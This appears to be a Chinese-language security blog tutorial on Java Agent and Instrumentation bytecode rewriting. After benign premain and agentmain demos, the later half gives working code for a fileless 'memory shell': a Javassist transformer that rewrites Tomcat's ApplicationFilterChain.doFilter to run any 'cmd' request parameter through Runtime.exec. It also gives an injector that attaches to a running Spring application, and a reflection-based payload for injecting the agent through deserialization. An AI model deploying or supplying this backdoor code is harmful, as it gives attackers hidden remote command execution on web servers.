什么是Java Agent
我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
premain-Agent

agentmain-Agent

Premain-Agent
准备一个premain_agent:
package org.example; import java.lang.instrument.Instrumentation; public class Java_Agent_Premain { public static void premain(String args, Instrumentation inst){ for(int i=0;i<10;i++){ System.out.println("调用了premain_agent"); } } }
准备一个目标进程文件:
package org.example; public class Hello { public static void main(String[] args) { System.out.println("Hello World!"); } }
之后将Java_Agent_Premain类打包成Jar包,这里有些讲究,创建一个resources/META-INF/MANIFEST.MF文件,文件内容为:
Manifest-Version: 1.0 Premain-Class: org.example.Java_Agent_Premain
之后修改一下pom.xml文件
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>2.6</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile> src/main/resources/META-INF/MANIFEST.MF </manifestFile> </archive> </configuration> </plugin> </plugins> </build>
然后使用Maven的assembly:assembly进行打包,这样会识别MANIFEST.MF文件
打包之后生成两个Jar包,我们使用第二个

最后修改一下Hello类的运行配置,添加一个VM-OPTIONS,在Modify options里选中add Vm-options

运行Hello类,成功注入到Hello的前面

Agentmain-Agent
premain-agent只能在类加载前去插入,而agentmain可以在已经运行的jvm去插入方法
VirtualMachine
com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent,下面是该类的主要方法
//允许我们传入一个JVM的PID,然后远程连接到该JVM上 VirtualMachine.attach() //向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理 VirtualMachine.loadAgent() //获得当前所有的JVM列表 VirtualMachine.list() //解除与特定JVM的连接 VirtualMachine.detach()
VirtualMachineDescriptor
com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
package org.example; import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main(String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd:list){ if(vmd.displayName().equals("get_PID")){ System.out.println(vmd.id()); } } } }
首先我们编写一个Sleep_Hello类,模拟正在运行的JVM
package org.example; import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main(String[] args) throws InterruptedException { while (true){ System.out.println("Hello World"); sleep(5000); } } }
编写一个agentmain-agent,跟上面操作一样打包成jar包
package org.example; import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class Agent_Main { public static void agentmain(String args, Instrumentation inst) throws InterruptedException { while (true){ System.out.println("调用了agentmain-agent"); sleep(3000); } } }
MF文件内容为
Manifest-Version: 1.0 Agent-Class: org.example.Agent_Main
最后准备一个Inject类,将agentmain-agent注入到JVM中
package org.example; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class Inject_Agent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); // 遍历JVM for(VirtualMachineDescriptor vmd:list){ // 获取目标JVM if(vmd.displayName().equals("org.example.Sleep_Hello")){ // 连接目标JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); // 加载Agent virtualMachine.loadAgent("D:\Java安全学习\Agent\target\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar"); // 断开连接 virtualMachine.detach(); } } } }
先跑Sleep_Hello类当作JVM,再跑Inject_Agent类注入

Agentmain-Instrumentation
Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。像我们之前的注入类都是这样写的

其在Java中是一个接口,常用方法如下
public interface Instrumentation { //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。 void addTransformer(ClassFileTransformer transformer, boolean canRetransform); //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。 void addTransformer(ClassFileTransformer transformer); //删除一个类转换器 boolean removeTransformer(ClassFileTransformer transformer); //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。 void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; //判断一个类是否被修改 boolean isModifiableClass(Class<?> theClass); // 获取目标已经加载的类。 @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); //获取一个对象的大小 long getObjectSize(Object objectToSize); }
获取目标JVM已加载类
下面我们简单实现一个能够获取目标JVM已加载类
package org.example; import java.lang.instrument.Instrumentation; public class Agentmain_Instrument { public static void agentmain(String args, Instrumentation inst) { Class [] classes = inst.getAllLoadedClasses(); for(Class cls:classes){ System.out.println("**********************************"); System.out.println("已加载类:"+cls.getName()); System.out.println("是否可修改:"+inst.isModifiableClass(cls)); } } }
步骤跟上面注入流程一样

addTransformer

增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,transformer 可以对未加载的类进行拦截,同时也可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。ClassFileTransformer是一个接口,该接口里只有一个方法,返回一个bytes数组:

也就是说我们注入的对象需要实现这个接口
- 使用Instrumentation.addTransformer()来加载一个转换器。
- 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
- 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。
其实简而言之,这个方法就是让我们可以动态的修改已经加载和没加载的类,达到动态修改字节码的目的
当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。
转换将按以下顺序应用:
- 不可重转换转换器
- 不可重转换本机转换器
- 可重转换转换器
- 可重转换本机转换器
修改已加载类的字节码
修改已经加载的字节码主要是通过addTransformer和retransformClasses这两个方法,一个是添加一个转换器,另外的是重新加载该类,也就是更新我们准备一个目标JVM:
package org.example; import static java.lang.Thread.sleep; public class Sleep_Hello { public static void hello(){ System.out.println("Hello World"); } public static void main(String[] args) throws InterruptedException { while (true){ hello(); sleep(5000); } } }
再准备我们的AgentMain,写好后记得把他打成Jar包
package org.example; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; public class agentmain_transform { public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); // 获取目标JVM加载的全部类 for(Class cls:classes){ if(cls.getName().equals("org.example.Sleep_Hello")){ // 添加一个transformer到Instrumentation,并重新触发目标类加载 inst.addTransformer(new Hello_transform(), true); inst.retransformClasses(cls); } } } }
准备我们修改的类:
package org.example; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class Hello_transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { //获取CtClass 对象的容器 ClassPool ClassPool classPool = ClassPool.getDefault(); //添加额外的类搜索路径 if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } //获取目标类 CtClass ctClass = classPool.get("org.example.Sleep_Hello"); System.out.println(ctClass); //获取目标方法 CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); //设置方法体 String body = "{System.out.println("Hacker!");}"; ctMethod.setBody(body); //返回目标类字节码 byte[] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
修改一下MF文件要不然会注入失败:
Manifest-Version: 1.0 Agent-Class: org.example.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true

Instrumentation的局限性
大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是private static/final修饰的
- 可以修改方法体
Spring中的InternalDofilter链
简单写个controller,打个断点看调用栈

在调用栈中根据责任链机制,存在一个反复调用InternalDoFilter的链internalDoFilter->doFilter->service
我们只要动态修改internalDoFilter或者是doFilter,就可以注入Agent的内存马了,而且这两个方法中都有request和response,拿来回显在适合不过
利用Agent实现spring Filter内存马
重写下transform
package com.example.agentmemory.agents; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class Filter_transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { //获取CtClass 对象的容器 ClassPool ClassPool classPool = ClassPool.getDefault(); //添加额外的类搜索路径 if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } //获取目标类 CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); System.out.println(ctClass); //获取目标方法 CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); //设置方法体 String body = "{" + "javax.servlet.http.HttpServletRequest request = $1n;" + "String cmd=request.getParameter("cmd");n" + "if (cmd !=null){n" + " Runtime.getRuntime().exec(cmd);n" + " }"+ "}"; ctMethod.setBody(body); //返回目标类字节码 byte[] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
准备Agentmain
package com.example.agentmemory.agents; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; public class agentmain_transform { public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); //获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ //添加一个transformer到Instrumentation,并重新触发目标类加载 inst.addTransformer(new Filter_transform(),true); inst.retransformClasses(cls); } } } }
MF文件
Manifest-Version: 1.0 Agent-Class: com.example.agentmemory.agents.agentmain_transform Can-Redefine-Classes: true Can-Retransform-Classes: true
最后准备Inject类
package com.example.agentmemory.agents; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class Inject_Agent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { //调用VirtualMachine.list()获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent if(vmd.displayName().equals("com.example.agentmemory.AgentMemoryApplication")){ //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); //加载Agent virtualMachine.loadAgent("D:\Java安全学习\AgentMemory\target\AgentMemory-0.0.1-SNAPSHOT-jar-with-dependencies.jar"); //断开JVM连接 virtualMachine.detach(); } } } }
连打两次就注入成功了
结合反序列化
http://wjlshare.com/archives/1582
try{ java.lang.String path = "/Users/xxxxx/Desktop/java/AgentMain/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar"; java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); System.out.println("Running JVM list ..."); for(int i=0;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); java.lang.String name = (java.lang.String) displayName.invoke(o,null); // 列出当前有哪些 JVM 进程在运行 // 这里的 if 条件根据实际情况进行更改 if (name.contains("com.vuln.demo.DemoApplication")){ // 获取对应进程的 pid 号 java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); java.lang.String id = (java.lang.String) getId.invoke(o,null); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("Agent.jar Inject Success !!"); break; } } } catch (Exception e){ e.printStackTrace(); }